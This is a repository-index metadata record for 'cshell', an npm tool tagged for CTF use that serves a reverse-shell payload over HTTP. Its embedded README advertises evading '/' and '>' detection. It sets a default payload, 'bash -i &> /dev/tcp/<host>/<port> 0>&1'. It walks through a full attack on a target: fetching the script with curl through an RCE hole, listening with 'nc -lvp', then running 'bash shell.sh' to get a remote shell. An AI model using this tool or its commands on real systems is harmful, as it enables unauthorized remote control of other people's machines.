{"id":22709421,"url":"https://github.com/cnily03/cshell","last_synced_at":"2026-05-05T12:33:24.469Z","repository":{"id":107761922,"uuid":"609602791","full_name":"Cnily03/cshell","owner":"Cnily03","description":"HTTP server for reverse shell downloading","archived":false,"fork":false,"pushed_at":"2024-03-17T14:14:23.000Z","size":33,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-10-18T09:30:43.850Z","etag":null,"topics":["bash","ctf","ctf-tools","hack","reverse-shell","shell"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/cshell","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Cnily03.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-03-04T17:16:38.000Z","updated_at":"2023-06-20T00:33:44.000Z","dependencies_parsed_at":"2024-10-21T20:04:45.339Z","dependency_job_id":null,"html_url":"https://github.com/Cnily03/cshell","commit_stats":{"total_commits":5,"total_committers":1,"mean_commits":5.0,"dds":0.0,"last_synced_commit":"c6109615fafb882a15e1049b3e63477862518e3d"},"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cnily03%2Fcshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cnily03%2Fcshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cnily03%2Fcshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Cnily03%2Fcshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Cnily03","download_url":"https://codeload.github.com/Cnily03/cshell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246244312,"owners_count":20746423,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bash","ctf","ctf-tools","hack","reverse-shell","shell"],"created_at":"2024-12-10T11:09:30.986Z","updated_at":"2026-05-05T12:33:24.405Z","avatar_url":"https://github.com/Cnily03.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# CShell\n\nThis program could attach the file to the root path of the HTTP server.\n\n## Superiority\n\n- Bypass `/` and `\u003e` detection and bounce the shell\n- Use-friendly and highly customized cli tool\n\n## Usage\n\n### Quick Start\n\nRun\n\n```bash\nnpm i -g cshell\n```\n\nUse\n\n```bash\ncshell\n```\n\nFor more help, please try `cshell --help`.\n\n### From Source Code\n\nEnter the source code directory. Install the dependencies.\n\n```bash\nnpm ci\n```\n\nInstall the cli tool globally.\n\n```bash\nnpm link\n```\n\nThen you can directly use it on console every where. Try:\n\n```bash\ncshell\n```\n\nFor more help, please try `cshell --help`.\n\n### Configuration\n\nIt is recommended to initialize the config by running following command.\n\n```bash\ncshell-conf \u003cpath\u003e\n```\n\n`\u003cpath\u003e` refers to the config. Each KV is optional, and it will fallback to the default value.\n\nDefault config file is as followings.\n\n```js\n{\n    // http server to visit\n    \"server-host\": \"127.0.0.1\",\n    \"server-port\": 54180,\n    // master controller\n    \"shell-host\": \"127.0.0.1\",\n    \"shell-port\": 54188,\n    // static directory\n    \"static\": \"\",\n    // file path whose content is attached\n    \"file\": \"\",\n    // content type of the file\n    \"content-type\": \"text/plain\",\n    // which content if file is not specified\n    \"default-file-content\": \"bash -i \u0026\u003e /dev/tcp/${{ env.shell_host }}/${{ env.shell_port }} 0\u003e\u00261\"\n}\n```\n\nNote that `${{ something }}` in the file content will be replaced to corresponding values. Specially, `env` has following sub-values:\n\n- `server_host`\n- `server_port`\n- `shell_port`\n- `shell_port`\n\n## Example\n\nRun\n\n```bash\ncshell --host 12.34.56.78 --port 2020\n```\n\nShow\n\n```plain\nServer is running at port 2020...\n\n- Try curl -o shell.sh 12.34.56.78:2020 on the target machine.\n- Try nc -lvp 2020 on the master controller (12.34.56.78).\n\nDO NOT forget to quit this process!!!\n```\n\nOn the target machine to attack, run `curl -o shell.sh 12.34.56.78:2020` via RCE. On console displays `GET / FROM xx.xx.xx.xx`.\n\nThen we press `Ctrl`+`C` to quit the program and run `nc -lvp 2020` on the master controller.\n\nAttack the target machine by running `bash shell.sh` via RCE and we get the shell on the master controller.\n\n## License\n\n[MIT](https://mit-license.org)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcnily03%2Fcshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcnily03%2Fcshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcnily03%2Fcshell/lists"}